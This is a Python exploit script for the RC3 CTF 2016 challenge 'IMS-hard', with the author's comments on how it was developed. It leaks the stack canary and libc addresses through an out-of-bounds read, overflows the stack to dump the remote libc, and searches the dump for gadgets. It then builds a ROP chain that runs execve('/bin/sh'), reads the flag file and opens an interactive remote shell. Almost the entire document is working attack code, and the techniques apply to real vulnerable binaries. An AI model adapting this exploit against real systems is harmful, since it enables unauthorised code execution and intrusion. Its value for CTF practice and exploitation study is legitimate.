#!/usr/bin/python"""# This is my exploit code for RC3 CTF Level: IMS-hard# It was made after the completion of this event, but luckily the servers are # still online [26.11.16], so the code was tested on a "living" target.# I know, my code is a bit overpowered but I had my fun while programming :)## Additional Info:#   After I got the overwriting process of the canary value working, I created #   a copy of the IMS-hard binary and patched the canary value check in the main #   functions with NOPs. I disabled ASLR on my computer and saved all input to #   the binary from this script in a text file:#        stdin = file('stdin.txt','w')#        x.logfile_send = stdin#   This file was then be piped into the executable while debugging it with#   radare2 or GDB. If somebody knows another way to directly debug a process #   spawned by pexpect, I would apreciate to hear about that.##   The offset of the leaked libc address to the libc address on the remote#   target was determined by trail and error. I changed the offset, dumped the#   libc and either the file size was 0 -> decrease the offset, or the file#   did not start with the ELF header -> increase the offset.# #   The reason why I am using pexpect instead of pwnlib is because pecpect is #   a python only library and pwnlib is not running on x86 architectures.#	# Bugs: Sometimes it is possible that the dumping of the libs stops before #       all the required data was captured. This results in an error because #       it can't find all nedded gadgets"""
import pexpectimport structimport sysimport ttyimport termiosimport osfrom math import log
# Format file size to human readable form # Copied from http://stackoverflow.com/questions/1094841/reusable-library-to-get-human-readable-version-of-file-size#answer-1094933def sizeof_fmt(num, suffix='B'):	for unit in ['','k','M','G','T','P','E','Z']:		if abs(num) < 1024.0:			return "%3.2f %s%s" % (num, unit, suffix)		num /= 1024.0	return "%.1f%s%s" % (num, 'Y', suffix)
def p32(dword):	return struct.pack("I", dword) def log(msg, loglevel=0, sep="[*] "):	if loglevel<=verbose:		print "%s%s" % (sep, msg)  def hexdump(src, length=16, sep='.'):	FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)])	lines = []	for c in xrange(0, len(src), length):		chars = src[c:c+length]		hex = ' '.join(["%02x" % ord(x) for x in chars])		if len(hex) > 24:			hex = "%s %s" % (hex[:24], hex[24:])		printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars])		lines.append("    %03d:  %-*s  |%s|\n" % (c, length*3, hex, printable))	return ''.join(lines) def info_leak(POS):	leak = [0, 0, 0] 	x.sendline(VIEW_RECORD)	x.expect('Choose: ')	x.sendline(str(POS))
	x.expect('Product ID: ')	x.expect('.+,')	leak[2] = int(x.after[:-1]) & 0xffffffff 	x.expect('Product Code: ')	x.expect('.+T')	leak[0] = struct.unpack("I", x.after[0:4])[0]	leak[1] = struct.unpack("I", x.after[4:8])[0] 	return leak def send_12bytes_to_stack(hexstring_12):	byte_0_7 = struct.unpack("Q", hexstring_12[0:8])[0]	byte_8_11 = struct.unpack("I", hexstring_12[8:12])[0] 	x.sendline(ADD_RECORD)	x.expect('Enter product ID:')	log('Product ID: %d' % byte_8_11 ,2)	x.sendline("%d" % byte_8_11) 	x.expect('Enter product code:')	log('Product Code: %s' % struct.pack("Q", byte_0_7),2)	x.send("%s\n" % struct.pack("Q", byte_0_7)) 	return 1 def send_payload(buf):	# Align payload to x*12 bytes	if len(buf)%12 != 0:		log('Adding %d "A" to payload' % (12-len(buf)%12), 1)		buf = buf+'X'*(12-len(buf)%12) 	log("Sending %d (%d*12) bytes payload..." % (len(buf), len(buf)/12))	log( "===================== Raw Payload ======================", 1)	log("%s" % hexdump(buf,length=12), 1, sep="") 	for i in range(0, len(buf)/12*12, 12):		send_12bytes_to_stack(buf[i:i+12])
##################################################################################################################### MAIN  ####################################################################################################################
## Constants ##
VIEW_RECORD = str(3)ADD_RECORD = str(1)QUIT = str(4)BANNER = ("""########################################################################################################  RC3 CTF: IMS-hard, 200 points  ###############################################    Author: Philip Wiese         ###############################################    Date: 23. Nov. 2016          ########################################################################################################                                                                              ##   Source: https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de   ##   Usage: %s [-r] [verbose]                                         ##                                                                              ##   Options:                                                                   ##       -r          Select Local / Remote Target                               ##       verbose     Verbosity Level 0-2                                        ##                                                                              #################################################################################""")
# Sitch between remote and local exploit and select verbose levelremote = Falseverbose = 0if len(sys.argv)>1:	if sys.argv[1]== "-r":		remote = True	if sys.argv[1].isdigit():		verbose = int(sys.argv[1])if len(sys.argv)>2:	if sys.argv[2]== "-r":		remote = True	if sys.argv[2].isdigit():		verbose = int(sys.argv[2]) print BANNER % sys.argv[0]
##########################		######   STAGE 1    ############ Dumping LibC ################################
# Setup pexpect process / connectionif remote:	log('========== Select Target [REMOTE]    ==========', sep="")	x = pexpect.spawn('nc ims.ctf.rc3.club 8888')else:	log('========== Select Target [LOCAL]     ==========', sep="")	x = pexpect.spawn('./IMS-hard_noCanary') log('========== [Stage 1] # Dumping LibC ==========', sep="")
# Set terminal to rawmode to prevent transmission errorstty.setraw(x.fileno())
# Leak the stack canary value for the main functioncanary_main = info_leak(5)[2]log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak stdout addressstdout = info_leak(-13)[1]log('Leaked stdout: 0x%08x' % stdout, 1)
# Leak libc base addressif remote:	libc_base = info_leak(-4)[2]-0x1a7000else:	libc_base = info_leak(-1)[2]-0x1b3000 log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Set EIP to address of fwrite@plteip = 0x08048550log('EIP: 0x%08x' % eip, 1)
# Build payloadpayload =  "A"*5*12                       # 12 byte junkpayload += "BBBBBBBB" + p32(canary_main)  # 4 byte junk and canary valuepayload += "C"*12                         # 12 byte junkpayload += p32(eip) + "DDDD"              # next EIP and Return Addresspayload += p32(libc_base)                 # Arg 1 <const void *ptr>payload += p32(0x01010101)                # Arg 2 <size_t size>payload += p32(0x1)                       # Arg 3 <size_t nmemb>payload += p32(stdout)                    # Arg 4 <FILE *stream>
# Send end execute payloadsend_payload(payload)x.expect("Choose: ")x.sendline(QUIT)
# Save process output = dump of libc to filelog('Dumping libc to file...')if remote:	dump = file('glibc.bin','w')else:	dump = file('local_libc.bin','w')x.logfile_read = dump
# Needed to successfully recieve libc dump. But why?data = ''while True:	try:		data = x.read_nonblocking(size=8192, timeout=1)		if not data:			break	except:		break # Close process / connectionx.close()
if remote:	dump_size = os.stat('glibc.bin')else:	dump_size = os.stat('local_libc.bin')
log('Dumped %s' % sizeof_fmt(dump_size.st_size))
##########################		######   STAGE 2    ############  Exploiting  ################################
print ""log('========== [Stage 2] # Exploiting    ==========', sep="")# Setup pexpect process / connectionif remote:	x = pexpect.spawn('nc ims.ctf.rc3.club 8888')else:	x = pexpect.spawn('./IMS-hard_noCanary')
# Save current terminal settings and enter raw mode and  # set terminal to rawmode to prevent transmission errorstty_echo_mode = termios.tcgetattr(x.fileno())tty.setraw(x.fileno())
# Leak the stack canary value for the main functioncanary_main = info_leak(5)[2]log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak libc base addressif remote:	libc_base = info_leak(-4)[2]-0x1a7000else:	libc_base = info_leak(-1)[2]-0x1b3000 log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Open dump of libcif remote:	dump = open('glibc.bin').read()else:	dump = open('local_libc.bin').read()
# Search for Gadgetsoffset_ret = dump.index('\xc3')offset_binsh = dump.index('/bin/sh\x00')offset_pop_eax = dump.index('\x58\xc3')offset_pop_ebx = dump.index('\x5b\xc3')offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')offset_int80 = dump.index('\xcd\x80')
log('Found String "/bin/sh" @  0x%08x' % (offset_binsh + libc_base), 1)log("Found <pop eax; ret> @  0x%08x" % (offset_pop_eax + libc_base), 1)log("Found <pop ebx; ret> @  0x%08x" % (offset_pop_ebx + libc_base), 1)log("Found <pop ecx; pop edx; ret> @  0x%08x" % (offset_pop_ecx_edx + libc_base), 1)log("Found <int80; ret> @  0x%08x" % (offset_int80 + libc_base), 1)
# Build payloadpayload =  "A"*5*12                       # 12 byte junkpayload += "BBBBBBBB" + p32(canary_main)  # 8 byte junk and canary valuepayload += "C"*12                         # 12 byte junk# Building ROP Chainpayload += p32(libc_base + offset_pop_eax) + p32(11)payload += p32(libc_base + offset_pop_ebx) + p32(libc_base + offset_binsh)payload += p32(libc_base + offset_ret)payload += p32(libc_base + offset_pop_ecx_edx) + p32(0) + p32(0)payload += p32(libc_base + offset_int80)
# Send and execute payloadsend_payload(payload)x.expect("Choose: ")x.sendline(QUIT)
# Set terminal back to echo mode for interactive shelltermios.tcsetattr(x.fileno(), termios.TCSADRAIN, tty_echo_mode)
log('Executing Shell')# Get flaglog('Sending "cat /home/IMS-hard/flag.txt"')x.sendline('cat /home/IMS-hard/flag.txt')x.expect('\n.+')print x.after[1:-1]
# Open interactive shellx.interact(escape_character='\x04')x.close()